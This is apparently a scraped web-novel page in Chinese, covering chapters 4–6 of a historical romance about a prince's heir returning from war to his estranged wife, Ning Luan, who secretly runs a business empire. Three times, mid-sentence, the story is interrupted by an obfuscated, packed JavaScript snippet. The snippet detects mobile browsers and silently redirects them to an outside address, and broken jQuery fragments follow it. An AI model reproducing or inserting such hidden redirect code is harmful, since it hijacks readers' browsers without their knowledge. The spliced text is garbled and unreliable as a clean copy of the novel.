“依我看,这新得的西域银铃确实精巧,正衬得宁妹妹俏皮可爱。”
屋内笑声不断,此起彼伏。
窗外,将一切尽收眼底的太子咬碎银牙,面色阴暗地带着侍从拂袖而去。
俏皮可爱……吗?
如此灿烂明媚的女子,为何偏偏只愿照耀他程慎之一人!
……
而今,宁鸾清点着府中账目,目光不经意落向妆匣。最上层稳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576063|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
稳放着的,正是当年那对盘花缠枝银铃簪。
这么多年过去,这银簪早已发旧黯淡了。
那是娘亲还在时,从西域商人手中购得的珍品。如若娘亲还在,大抵仍会如往日一般,亲手为她在盘好的发上点缀特别的花样吧。
宁鸾摇摇头,试图抛去杂念,拿起账册继续盘算。
世子归京,府里上下都得安排打点妥当,绝不能出半分差池。
若他……果真带了那位异族女子回来,或许还需另行收拾一处院落,供他们起居吧?
毕竟就算再心急,总不能回府当夜便同宿一室。
思虑至此,宁鸾叫来管事,将诸项事宜一一吩咐下去,神色平静,再无多言。
……
三日后。
宁鸾独倚高楼,凭栏远眺。
风吹起衣摆点缀的轻纱,带动腰带上的环佩叮当作响。
脚下是喧嚣坊市,一眼望去,各色房屋排列整齐,逐渐延伸为天际模糊的墨点。再远处,京州城墙高高立起,将一切纷扰和战乱尽数阻隔于墙外。
宁鸾向南面看去,墙外远处隐隐约约晃动着深红的旗帜尖儿,在黑压压的将士中格外出挑。
那正是世子归来的队伍。
宁鸾紧盯那若隐若现的旗帜,在楼顶沉默许久。
“慎之已过京州大关,今日便能回府了吧?”她低声问着,心中却早有答案。
高楼内,幕帘阴影中的侍女向前一步,面无表情回道:
“是,主子,世子大约今日未时抵达京中。按照寻常惯例,归来的将领须先入宫面圣述职,之后方可归府。”
宁鸾唇角掠过一丝自嘲,扭头看向隐在暗处的青霜。若世子府中有人在此,定会惊愕失色:
原因无他,只因青霜的容貌身形,竟与府中侍女青露的如出一辙。两人像是一个模子里倒出来的,有着同样精致的眉眼,玲珑有致的身段。
而在众多相同中,唯一能区分她们的,是她们脸上迥然不同的神态。
世子府的青露,乐观明媚,喜怒哀乐全放在脸上,像是藏不住半点心事。下人们有时畏惧宁鸾的威势,便千方百计与青露交好,试图暗自打探世子妃近日动向。
殊不知,这本就是宁鸾有意纵容。
而眼前的青霜却恰恰相反。
人如其名,青霜面带寒霜,喜怒不形于色。单是站在那里,一眼对视,便能让人冻了眉毛,直叫面对她的人打一个寒颤。
此刻,青霜站在幕帘后,漠然垂首,静静等待主子的调遣。
“那随行之人……应当也一同回来了罢?”宁鸾望向楼外,一只朱红的鸟儿展翅,从楼顶滑翔而去。
“是,主子。按传回的情报所述,去往南部征战的将士们都在今日归京。”
“若有将军府的人递帖子来,你便告知来人,后日辰时,我于望春楼顶楼候时小将军。把小春台收拾出来,就在那会面吧。”宁鸾转身看向青霜,“此事你亲自去办。”
“再将望春楼藏珍阁天字匣中,那把新入的赤色宝剑也一并备下。”
“是。”
青霜行礼领命,从不多问一字。见宁鸾再无吩咐,她便悄无声息退归阴影之中,仿佛从未出现。
外面的风吹得更喧嚣了些。
宁鸾双手扶住高楼漆红色的护栏,任耳边的鬓发抚上脸颊。再深深望了一眼城外舞动的旗帜,她长出一口气,利落转身离去。
……
暮色渐沉,华灯初上。
宁鸾端坐于前厅,静静等待。随手拿起案上的诗集小册,纸页发出轻微哗哗声,可往日里手不释卷,今日竟半句诗词也未能入眼。
盖碗里的茶水凉了又热,也不知道续到第几遍水,终于听到门房外小厮高声通传:
“世子回府!”
宁鸾指尖一顿,扔下册子,起身迎上前去。
程慎之踏着晚霞归来,身上玄铁铠甲未卸,绚丽的日光在铁甲上反射出冷冽的寒芒。他单手抱着铁盔,另一只手已迫不及待伸出,将怔愣的宁鸾揽入怀中。
低头埋过宁鸾颈窝,程慎之收紧手臂,铁甲冰凉得硌人。他沙哑着嗓音,过了好一阵,才委屈巴巴地挤出一句话。
“……我好想你。”
4. 小别新婚
猝不及防,宁鸾跌入一个结实坚硬的怀抱。
抬手是战甲冰凉的触感,耳旁是温热急促的喘息,激得颈后的肌肤泛起隐约的红晕。
宁鸾僵在原地。两人虽是夫妻,但成婚数年,实质上还几乎未有过这般亲密的接触。
她下意识想推开程慎之,可目光越过他的肩头,却看见内院中站满了仆从。管家领着府中一众丫鬟小厮,正目不转睛地望着他们,眉眼间尽是欣慰。一旁的青露更是喜形于色,笑意几乎都要溢出脸来。
宁鸾思绪一动,顿时了然。征战三年回来,程慎之果真是长进了!连做戏都要做得如此周全!
将士离家数载,若家中真有牵挂之人,归来第一件事,必定想与心心念念的人紧紧相拥的。
此时程慎之真正的家人远在南部,而他们的婚姻尽管名存实亡,但在旁人眼中,他们就是小别胜新婚的恩爱夫妻。
当年,两人完婚回门时,宁鸾在相府门前玩心大起,下轿后顺势挽住了程慎之的手臂。
程慎之瞬间僵在原地,直挺挺地站着,硬得像块千年老木头,一步也迈不动。
历练几年,果然不同往日,连这样的细节,都考虑得如此周全了。
宁鸾啧啧称奇,整个人仍被程慎之紧箍在臂弯里,一时间动弹不得。
她垂眸静待这个拥抱结束,可呼吸交错间,她竟听见程慎之心跳如擂鼓,一声一声,震得她耳膜发颤。
而另一边的程慎之,心底早已是热浪翻涌。
在边关驿站的无数个夜晚,他曾千万次设想,若是一朝有幸,能带着赫赫战功重回世子府,那该是怎样的光景。
而梦里的凯旋一朝成真,他匆匆向皇上禀明战况,策马紧赶慢赶回到府中时,心中反而忐忑难安。
直至那道朝思暮想的身影从门内走出,真切出现在眼前,程慎之再顾不得礼数是否唐突,当即上前,忍不住将她紧紧拥入怀中。
当初临危受命奔赴前线,皇帝对他本就不抱几分期望,态度间甚至觉得,他即使战死沙场也无妨,朝中有的是可派遣送死的兵将。
边境战争接连爆发,前线本就凶险异常。几次恶战中,敌军钢刀几乎贴耳擦过,刀尖划过头盔,竟削断了他额前散发。
战后在营帐里,程慎之摩挲手心薄茧,心知这样下去,或许终将如皇帝所说,马革裹尸,沉寂永眠在战场角落里。他心底不安,随行的战士们更是日夜惶恐。众人皆不知今日入睡,明日是否能安然醒来。
三年,九百多个日夜。
每当他仰望边关星空,总在那漫天繁星间,看见一双魂牵梦萦的、灿若星辰的眼。
她是他心中不曾存于世的金色蝴蝶,是如浩瀚星河般遥远的幻梦。
至此,程慎之下定决心,他必须成为他们的主心骨,在这生死场上挣得一线生机。
……哪怕是为了再见她一面,哪怕是为了那句她送别时的话语,不要一语成谶。
虽然他昔日仓促说出的言语,早已伤透了她的心。他的金色蝴蝶,仅施舍了他一点微光磷粉,便被他亲手催赶,翩然远去了。
但是此时,隔着冰凉的盔甲,程慎之的胸口似乎都能感受到一阵柔软余温。
他恨不得这一刻得以永恒。
“你……有点闷,你能不能先松开我?”见程慎之还暗自沉浸在思索当中,宁鸾推了推面前冰冷的胸甲。
程慎之如梦初醒。
他如触碰到炭火般急忙松开宁鸾,掩饰尴尬地环顾四周,下意识道:“抱歉。我回来了,你……大家都快进去吧,就快起风了。”
众人恭敬应声,管家王叔神情犹豫,抬手引他们步入饭厅。
程慎之还未从状态中脱离出来,怔愣着向府中走了两步,忽觉不妥。他揉了揉散乱的头发,回身走了几步,侧身想宁鸾介绍道:
“阿鸾,这是白挽。”
随着他的指引,宁鸾向外望去。
世子府大门边,除了程慎之威风凛凛的战马,还静立着一顶精巧纱轿。纱轿旁立着位女子,脸上挂着盈盈笑意,气质正是他喜爱的大方温婉。
只见女子身着藕荷色齐胸襦裙,笼着一件月白色的纱质外衫。盘得齐整的髻上插着几支成色极佳的玛瑙镶银簪,正是官家女子时兴的打扮。
与京州女子不同的是,她脸庞中隐约含着几分异域风情,脖子上戴着个松石穿花银项圈,腕间缀满银饰。可那通身气度却不并似传言中的边陲女子,反倒更像是京州娇养捧着的贵族小姐。
程慎之轻咳一声,向宁鸾介绍道:
“当日我在战场上中了异族埋伏,虽骑马躲入松林,可仍是中了一箭。”程慎之下意识按住左腹,“失血过多,在那林子里失了意识。”
他喉结滚动,似是在艰难回忆,顿了片刻后又道:
“还好有林中的猎户遇到我,将我带到他家中疗伤,救下我一条命。我答应猎户,带他的女儿白挽来京州好好照顾。”
“白挽,这就是我常向你提起的阿鸾。”程慎之引白挽走进府门,直至宁鸾面前,举止中皆是介绍救命恩人的坦荡。
宁鸾心中顾虑稍减,她早从青露处得知白挽之事,此刻并不惊讶,只觉战场中凶险异常。
程慎之留意着宁鸾神情,见她面色缓和,自己也稍稍放松。
“白挽见过姐姐。”那白挽怯生生地行了个礼,嗓音清甜,像是被蜜水润过。
“慎之征战,条件艰苦,白姑娘必然也是一路舟车劳顿,夜难安寝。”宁鸾眼里带笑,“不如大家先进去用膳吧,也好略解路途困乏。”
……
众人在厅中坐罢。
程慎之坐在桌前,心不在焉。他双手无意识地握紧,神思仍停留在方才那个短暂的拥抱里,怀念着那一抹转瞬即逝的温热。
宁鸾正轻声吩咐管家布菜,抬眼瞥见程慎之神色倦怠,只当他连日赶路、又即刻面圣,身心俱疲,便也不多打扰,转而温和地向白挽开口:
“不知白姑娘今年多大了?日后可有什么打算?”
听见宁鸾问话,白挽并未立刻回答。她略带羞怯地抬眼,悄悄望了程慎之一眼。见他正低头摩挲着酒杯并未看向自己,这才转向宁鸾,轻声细语地答道:
“妹妹今年刚满十五。”
她稍作停顿,声音更柔了几分:
“曾听人说,当年皇上亲自为姐姐与世子指婚时,姐姐也是十五岁。妹妹不敢奢求其他,只望能如姐姐一般,觅得一位良人,最后……在京中能有一处安身立命之所。”
虽南部边境民风开放洒脱,但婚姻大事终究是父母之命,未出阁的姑娘当面说出这般话,终究显得有些越矩。
宁鸾二人成婚几年有余,即便两人关系疏淡,在外人眼中却仍被传为一段佳话。
宁鸾心下对她的心思了然几分,此刻也不点破,只温言道:“白姑娘不必担心,慎之一向重诺,对救命恩人更是看重。他既答应照拂你,自然会为你留心一桩好姻缘,让你在京中安稳立足。”
不等白挽再说什么,宁鸾瞥见程慎之放下筷子,便顺势询问道:
“我命人在府中收拾了东侧殿,暂时安排
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576064|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白姑娘在那居住,慎之觉得如何?”
程慎之只觉得府中诸事井井有条,并无意见,于是白挽的去处便这样定了下来。
……
夜晚,程慎之与宁鸾同进卧房,随行小厮贴心地将房门合上。
宁鸾侧耳听着门外脚步声渐远,便熟练地走向酸梨枝木橱,从中抱出早已备好的薄被,转身走向宽大的雕花寝床。
她将两床被子平整铺开,酸枝梨的雕花木床足够宽敞,即便并列两床被褥也绰绰有余。
程慎之抱手站在一旁,目光随着她的动作渐渐沉黯,却始终沉默地不发一言。
一阵翻箱倒柜后,宁鸾又从床底暗格中取出一匹淡红色的细长锦缎。她利落地将锦缎绕过床栏头尾,三两下便系得结实。一道红绸横贯中央,将整张床泾渭分明地分隔开成两半。
窗外夜风徘徊,屋内烛火微跳。
一别多年,程慎之只觉得恍如隔世。这“小别重逢”之夜,竟与他们新婚时分别无二致。
程慎之盯着如豆跳动的烛光,思绪下意识飘向四年前的那日。
接到指婚圣旨的那日,是个毒辣的艳阳天。
自说了那狠心的话后,程慎之已经很久未在宫里见过宁鸾了。
这么说,似乎也不确切。每逢宫宴或公主贵女们在御花园的聚会,总能看到她活泼飞扬的身影。
作为自幼养在太后身边的世子,程慎之在宫中本就身份特殊。他既不同于分宫别居的皇子,也不同于轮值驻守的官员侍卫。他常年穿行于深宫,嫔妃们视他如半子,并不多加约束。
所以每当有宫宴或聚会,程慎之总会在抽出时间,寻一处僻静角落,默默遥望那只金色蝴蝶。
她换了一支新金钗,她及笄后开始绾发,她仍喜欢在发间点缀些别致饰物,她与太子说笑时眉眼生辉……
可惜如他所想,那般明媚鲜活的时光,终究是短暂的。
那日,宣旨的王公公明晃晃地告诉他,皇恩浩荡,圣上为他择了一门好亲事。
身为世子,程慎之早知婚事不过是权谋的筹码。他跪下麻木接旨,只听王公公朗声诵读:
“奉天承运皇帝诏曰:兹闻安南王世子程慎之,天资英睿,德才兼备……丞相府嫡长女宁鸾,温婉贤淑,才情出众……今特赐婚于汝二人,择黄道吉日完婚,望同心同德,举案齐眉。钦此!”①
程慎之几乎呆愣在原地,几乎是下意识抬手接过圣旨,心底早已炸成火花。
宁鸾,竟会是宁鸾!?
他浑浑噩噩送走了传旨公公,神情呆滞,一时不敢相信,魂牵梦萦的金色蝴蝶,就这样飞到了他的身边。
一拧大腿,多年的习惯让程慎之强迫自己冷静。
皇帝此番指婚,明面上是体恤安南王,重视朝臣,实则暗藏机锋。
若宁丞相生出异心,安南王这层姻亲关系便是现成的通敌罪证。若安南王有异动,其世子既娶了朝廷重臣之女,心向朝廷,未必不能“留子去父”,另立傀儡。
只是不知道,一同落进这宫中深潭的,为何是一向颇受皇恩宠爱的宁鸾。
思及此,程慎之卷起圣旨,长叹出一口气。
无论背后如何算计,这场赐婚终究是他私心所盼。宁鸾纵然脾气娇蛮,不愿嫁他,总不能违抗圣旨吧?
程慎之第一次如此真心实意地感谢上苍,发自内心地觉得皇恩浩荡。
光阴过得飞快,二人婚事如期而至。
可纵是程慎之早有预料,也万万没想到,新婚之夜,宁鸾会给他这样一场“惊喜”。
5. 如此姻缘
新婚那日,红绸蜿蜒,十里红妆。
这场婚事办得极尽隆重,皇帝亲自指婚,礼部倾力操持,就连大婚的场所,也特意定在了专属于皇子婚仪的慈康宫。
安南王早已抵京,正与神色复杂的宁丞相并肩而立,共同见证了这场出乎所有人意料的赐婚。
宁鸾头顶鎏金凤冠,喜帕以金线密密绣出云凤纹样,耳旁传来环佩相碰的声音,她被无数视线与规矩牵引着,接过那截红绸,完成这场举国瞩目的礼仪。
“礼成!”礼官高声唱道。
按照礼部安排,新婚卧房便设在御赐的世子府主室,程慎之也依照礼仪,在世子府正厅设宴待客。
直至天色沉黯,忙碌的宫人尽数退去,白日的喧嚣终于归于深沉的寂静。待窗外只剩一方墨色的天,身穿大红喜服的程慎之送走最后一位宾客,强作镇定,走向房门紧闭的婚房。
他没有安排喜娘随侍,亲手端了合卺酒,推门而入。
宁鸾端坐在婚床边缘,喜帕低垂,金线在烛光下泛着细碎的光点。朦胧红雾中,帕下人的面容与神情都被遮掩得迷糊不清。
程慎之合上房门,将合卺酒置于桌上,默然坐到桌前。
“阿鸾,”他缓缓斟酒,龙凤描金的烛火在渐满的酒液中画上一个满月。“我们似乎已经……许久未曾说过话了。”
宁鸾抬手按住胸口,语气平稳:“若非皇上亲自赐婚,世子殿下大约也不想见我吧。”
程慎之摇头苦笑,并未回答,只望向蒙着喜帕的宁鸾:“那你呢?你愿意见到我吗?”
没有等到回音,他举杯一口饮尽杯中酒,起身烦躁地踱了几步,最终停在宁鸾身前,再次谨慎开口:“你……当真愿意成为这个世子妃吗?”
当真愿意……成为我的妻子吗?
宁鸾感到他停在自己身前,顿时隔着一层红色喜帕抬头看去。烛光影影绰绰,勾勒出男子高大挺拔的身形。
良久的沉默后,宁鸾忽地自己抬手掀开喜帕,露出下面一张明艳的容颜。
程慎之只觉眼前一晃,眼前人面若芙蓉,眉似远黛,在烛光地晕染下肤若凝脂。金鸾衔珠的赤红流苏垂在她的额前,轻缓抚过眉心贴着的金色花钿。
宁鸾一身大红的嫁衣,衬得整个人熠熠生辉,如同九天之上的金凤,下一刻就要涅槃而去。
程慎之一时竟看怔住了。
然而宁鸾虽身着新嫁娘的装扮,神情里却没有半分娇羞喜悦。她抬眸瞥到程慎之身后那空掉的合卺酒杯,脸上牵起一个自嘲的笑。
“与你成婚,我自是不愿。”
随手将手中的大红喜帕扔到床榻上,宁鸾起身解开身上华重繁复的礼服外袍。在程慎之的注视下,她径自绕过床边,走到方才程慎之落座的位置坐下。
龙凤双烛在桌前随风跃动,室内却是寂静无声。
“程慎之,自你上次对我坦言,我便知你我并非佳偶天成。”宁鸾低头把玩着空了的银杯,过了半晌才缓缓开口,“我生性热闹,不似寻常闺秀那般懂事得体,与你心仪的模样……没有丝毫相称。”
“不……”
程慎之张了张口,话到嘴边又猛地咽了下去。
此刻婚房之中不似新婚燕尔,反倒更像是在对簿公堂。二人一站一坐,一派的冷漠疏离。
宁鸾见程慎之欲言又止,心中已满是了然。她执壶斟满银杯,轻抿一口,冰凉的酒液划过喉咙,在胸口燃起一路炽热。
“你既对我无意,我宁鸾也不愿困守深宅,终日仰仗这四方天度日。”宁鸾声音决绝,说出的话像是混着冰渣,一下一下摩擦程慎之滚烫的内心。
他眼看着宁鸾从怀中掏出一卷纸页,置于桌上。
“蜀西国律法中载有夫妻和离之条。这是我此前整理的卷宗。”宁鸾低头将纸卷展开,“我根据版式,提前拟了一份和离书。”
“我们是皇帝亲自赐婚,立即和离自是不妥。若你愿意,我们不妨先行约定,若来日遇见真正心悦之人,便签下这和离书。届时,我会离开世子府。”
“离开?”程慎之皱了皱眉,顾不得其他,下意识道:“你要去哪里?”他随即走上前,拿起一页纸卷端详细看。
“二人两心不同,难归一意,一别两宽,各自欢喜……”①
念着念着,程慎之几乎气极反笑,当年一时冲动,竟换来如今的两心相隔,阴差阳错之下,终究是他咎由自取。
也罢。若这世子府能成为她愿意停靠的归处,他便给她这份自在。
虽心中如此作想,可抬眼见宁鸾冷漠神情中那难以掩饰的紧张,头那点郁结忽然就散了,反倒生出几分无奈的调侃之意。
“你我二人,今日新婚,新婚当日签这和离书,确实不妥。况且……”程慎之从旁边抽了个高脚盘凳,学着宁鸾方才的模样,在桌子对面坐下来。
他将纸页推至她眼前,修长的指尖轻点一处,“况且,你这和离书,错了一字。”
“这''结缘''的''缘''字,绞丝旁下多了一撇。”
程慎之声音低沉,说完竟带上一抹自嘲的笑意,“你说,像不像月老的红绳,给咱俩的姻缘打上了死结?”
……
程慎之还记得,就因这个“死结”,那晚二人在府里闹了个鸡飞狗跳。
他们虽是这世子府名义上的主人,实则却是头一回踏足此处。
宁鸾自觉写了错字丢了颜面,又不愿惊动侍从,便气鼓鼓地在婚房里翻箱倒柜,非要找出笔墨纸砚,当场修正那一处墨渍,将这张出了错的和离书翻篇。
程慎之支着额坐在一旁,静静看着她来回忙活。烛火给二人打上一层柔光,竟将这新房映出几分罕有的温馨。
下一瞬,岁月静好的程慎之就受了池鱼之灾,当场被宁鸾指使着打理床铺。
新婚当晚,睡书房自是不合适的。
况且,程慎之连世子府的书房在哪儿都尚且不知。
他认命地走近朱漆描金的雕花拔步床,扯落大红鸳鸯被下藏着的“枣生桂子”,指尖拂过枕上绣着的鸳鸯图样,目光停顿了一瞬。
另一边,宁鸾已从柜中翻出墨锭,就着桌上的合卺酒磨出了墨汁,用手蘸着,一点点抹掉了那个写错的“缘”字。
婚房中一时忙碌无比,仿佛在掩盖着方才的冷漠和疏离。
宁鸾早已想过,新婚之夜提出和离实属离经叛道,定被世人所不容。但世事不如意十之八九,今日上花轿前,便已做好了程慎之断然拒绝、自己不得不委身于人的准备。
却不想程慎之竟借一个错字,将和离书轻轻揭过。
她心中正自忐忑,却听程慎之抚着枕上鸳鸯,沉默良久,终是深吸一口气,决然开口:
“如你所愿,咱们互不干涉,可好?”
他知道,这是宁鸾最想听到的答复。
既然这是她所要的,那便给她。日子还长,何惧看不透真心。
宁鸾原以为程慎之的沉默便是婉拒,正觉失落,不料峰回路转。抬眸对视间,竟发现他眼中不见半分敷衍,尽是诚恳与坦荡。
“好!”
她应得清脆,脸上也终于露出今晚第一个真心实意的笑容。
“那就一言为定!”宁鸾嘴角微扬,精心描摹过的红唇勾勒出明媚的弧度,那细致描画的眉眼中,仿佛盛满闪烁的星,映得她整个人都明亮了起来。
程慎之看呆了。
两人既已达成一致,便拆解了行礼时所牵的同心结,将红绸一头一尾扎实系于雕花大床的床栏中央,妥帖地隔出两处安歇之地。
一夜无话。
而最令程慎之头痛的是,成婚第二日,坊市间竟流传起“新婚当夜世子毫不怜香惜玉,婚房频传异响”的传言。
连一向不苟言笑的章师傅,在去尚书房途中遇见他时,也忍不住频频侧目,几度欲言又止,最终只重重一拍他的肩,低声提醒:
“丞相府势力不小哦……干柴烈火,年轻也须懂得节制。”
程慎之:“……?”
好一阵尴尬无言。
而眼下,久别重逢,凯旋归府,昔日的窘迫仿佛一路蔓延到了此刻。
宁鸾手脚利落,依着成婚第一年的旧例,熟练而快乐地铺整床榻。
程慎之不在的这几年,宁鸾已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576065|187118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凭丞相府与母亲留下的嫁妆,在幕后做起了掌柜,日子忙碌却也充实。
这下程慎之回来,虽出门变得束手束脚些,但若他有所需,她大约也能从旁帮衬一二。
而如若他有了真心喜爱之人,想要和离……她可有了可归之处吧?
一夜辗转,终究是个好梦。
……
晨光透过盘枝窗棂,斑驳漏进碎片似的阳光来。
早膳过后,宁鸾正替程慎之整理朝服。仔细抚平最后一道衣褶,宁鸾退后两步端详片刻,眉眼终于弯起:
“真不错。你穿朝服,和朝中那些老头子是不一样。”
“哦?阿鸾觉得有何不同?”程慎之松了松领口,不习惯地用指腹捻着护住脖颈的围领。
“他们穿起来,满身都带着板正的暮气,像是下一刻就要冲过来训我,再讲一堆无趣的大道理。”宁鸾看着他,声音里带着几分久违的轻快。“而你穿上,连这仙鹤的翎羽都显得灵动几分。”
宁鸾摆正他腰上挂着的赤金鱼形玉璧,满意地点点头,突然想起什么:“今日我想去彩脂轩瞧瞧,听说新进了一批脂粉,或许会晚些回府。”
见程慎之微微一怔,她眨了眨眼,语气小心翼翼:“可以吗?”
程慎之笑了,“不必如此拘束,你想去哪里自是可以。”他略一沉吟,又抬眼认真看向她,“出门自己当心,若需侍卫随行,随时告诉我。”
宁鸾点头。而一旁同进早膳的白挽听着两人对话,心中早已迷雾团团。
她本以为程慎之对世子妃并不上心,反倒对她白挽关心更甚。毕竟他一路上几乎未主动提及过宁鸾,即便问起,也只是含糊几句带过,从不愿多提。
倒也并非白挽自负,在先前居住的村庄与县城里,以她的容貌身段确实称得上拔尖。
本以为凭着自己这般相貌,再加上救命恩人女儿这重身份,假以时日,必能哄得程慎之点头,堂堂正正嫁入这世子府中。
岂料入府一日,程慎之所谓的报恩,竟只是将她当作客人般好吃好喝供养着。而那位世子妃宁鸾见了她,眼中也未起半分波澜,只如对待寻常宾客一般,礼数周全,却也疏淡得令人无从指摘。
此刻,眼见世子入宫上朝,宁鸾也预备出门,府中只剩管家依旧笑眯眯地随侍在侧,道是“一切但凭姑娘吩咐”。
白挽满心的算计仿佛一拳打进了棉絮里,只得恨恨咬碎一嘴银牙。
另一边,宁鸾回屋换上一身轻便衣裳,独自一人走出府去。拐进一条僻静小巷,不起眼的灰衣人驾着辆不起眼的篷布马车,在巷口静候多时。
“主子。”见宁鸾上了车,那灰衣人低声致意。
“去彩脂轩。”
没有多余的话语,马车平稳行驶起来。宁鸾将车帘拉开一条细缝,抬眼向外看去。
外面天空阴沉沉的,大团乌云聚集翻涌,似有一场暴雨即将倾泻而下。
……
马车一路前行,最终停在了彩脂轩门前。
轩内已经聚集不少人,多是衣着精致的夫人小姐,亦有奉命采买的侍女家仆穿梭其间。宁鸾绕过主厅,径直走向一处僻静角落,掀开帘布,推开一扇隐蔽的雕花小门。
门后是一条幽深昏暗的走廊。待穿过廊道,眼前顿时豁然开朗。
一方雅致庭院呈现眼前。嶙峋的假山石随意堆叠,顶上泉水喷涌而下,在半空撞上山石,飞溅起细小的水花。溪流顺着山石,淙淙汇入一汪清澈小潭。星点浮萍中,几尾锦鲤悠然自在,不时浮上来搅碎这云影天光。
沿潭边小径行去,路边遍布浅苔香草,空气中弥漫着幽微的清香。小径尽头,树影掩映下,又是一扇雕花木门。
宁鸾未作迟疑,推门而入,走进一间略显空旷的别致小厅。
厅内空间不算开阔,却高深得望不见顶。除了正中一道蜿蜒而上的木质旋梯盘绕而上,几乎空无一物。
墙壁上每隔数米便嵌着一盏琉璃灯,灯下悬着雕花风铃。微风随她的脚步轻拂而过,风铃发出细碎的清音。
京州城中最为热闹繁华的望春楼,今日终于迎来了它神秘的主人。
6. 望春盛景
踏上最后一块木质台阶,宁鸾站在顶端的鎏金雕花门前。
这扇紫檀木门上设置了机关,若是有人妄想凭蛮力破开,亦或想要用银针撬锁,都只会触动夹层暗藏的银铃机关,射出暗器攻击门外之人。
宁鸾轻敲三下门上的飞天凤首,指尖按北斗七星顺序,依次拨动门上莲蕊雕饰,只听“咔哒”一声,两扇重门朝着内部缓缓打开。
迎面立着两位身着水绿齐腰长裙的侍女,一头青丝用绿檀木发簪盘得干净利落。
“主子。”见宁鸾进来,二人齐声行礼,举手投足间训练有素。
宁鸾微一颔首,径自走进厅中。
厅内明处摆一张紫檀木雕花桌案,正中镶嵌进整块的乳白玉石,触手温润。桌上一盆新鲜荷花,景泰蓝印花香炉升起青烟,室内弥漫着清幽梨香。
绕过双鹤戏水屏风架,暗处侍女为宁鸾挑开层层帷纱。青霜早已等在内室门口,她以眼神示意,宁鸾所等的人已经到达。
宁鸾信步转入内室更衣换装。不过多时,铜镜中赫然映出俊朗男子身形。只见镜中人玉带束发,宽袖拦腰,一袭淡蓝色的锦袍暗流丝光,腰间玉壁莹润剔透,价值连城。
宁鸾戴上面具,鸾鸟展翅掠过眉骨,尾羽镶嵌着水滴状的翡翠,遮挡住大半张脸,只露出精致下颌和紧抿的唇线。
小春台的天台之上,一道挺拔身影负手而立,看来已是等候多时。听见动静,那人转过身来。
宁鸾不动声色,悄然打量。
来人身材高大挺拔,外笼深枣色织锦圆领袍,腰间束着一掌宽鳄鱼皮钉护腰,腕上戴着同料的鳄鱼皮护手,一身武将气势。
又见他内着一件银灰单衣,领上和袖口绣着流光祥云暗纹,却又透出几分文官的雅致来。
二人一时皆未开口。就在宁鸾审视这位小将军的同时,时鸿也在暗暗观察着她。
他曾与这位“林公子”有一面之缘。
据他多方打探,这位林公子来历神秘,不声不响间竟盘下京州整片坊市,更以半年时间建起这座雕龙画凤、生意通达的望春楼。
“林公子。”时鸿猛地抱拳,低头以武将之礼相待。
宁鸾略一颔首,并未回礼。不管是世子妃还是望春楼楼主的身份,她都有这个资格,受得起这一礼。
“刷”一声打开折扇,宁鸾刻意压低嗓音:“劳鸿兄久候,多日不见,鸿兄洒脱依旧。”
“若能见上林公子一面,满腹惆怅也变作洒脱了。”时鸿爽朗大笑,随即自嘲摊手:“至于洒脱,不过是为人陪衬,自我安慰罢了。”
见他神情戏谑无奈,宁鸾心中无奈摇头,她收了扇子抬手道:“坐。”
一旁面蒙黑纱的青霜为两人倒上香茗,递茶时冷冷瞥了时鸿一眼,眼中罕见地带上几分情绪。
宁鸾意外,青霜一贯是冷言漠色,今日倒显出几分不同来。
思绪飞转间,宁鸾扶了扶面具,率先开口:“此去前线,蜀西大捷,时鸿将军亦是功不可没。”
时鸿听了,不由长叹一声,将刚端起的茶盏放下,抬手挠了挠头:“林公子,您这话可真是戳到我的痛处了。此番出征,说来实在惭愧。”
“何出此言?”
“程世子三年前领兵出战之时,边境战火连天,凶险异常。依我之见,以异族之势,本就不是皇上当初派出的那点兵马所能平定的。”时鸿说到此处,下意识抬眼环顾四周。
宁鸾用扇骨轻点桌面,“但说无妨。”
时鸿清了清嗓子,压低声音道:
“圣上派程世子出战,仅拨兵马不足一万,粮草更是还不够半数。明眼人都看得出,这分明是要找个由头发落他,最好让他战死沙场,撮一撮安南王的锐气。”
见宁鸾听得专注,他突然情绪高昂,猛然一掌击在桌上:“可没成想,程世子如有神助!虽是兵马不足,但能以一当十,眼见着竟是要扭转局势,反平为胜了!”
说到这里,时鸿不好意思地挠了挠头,终于说到了自己:
“不怕您笑话,我是个庸人,家父身为将军,一生戎马,反倒希望我考取功名,做个文官。可惜我最讨厌舞文弄墨,更爱长枪利剑。”
时鸿扯扯内里的衣袍,高束的领口勒得他有些不自在。
“可林公子您可知,圣上见程世子在边境屡战屡胜,颇得民心,这才拨了两万兵马,派我前去‘助阵’。明为支援,实为压制程世子的风头。”
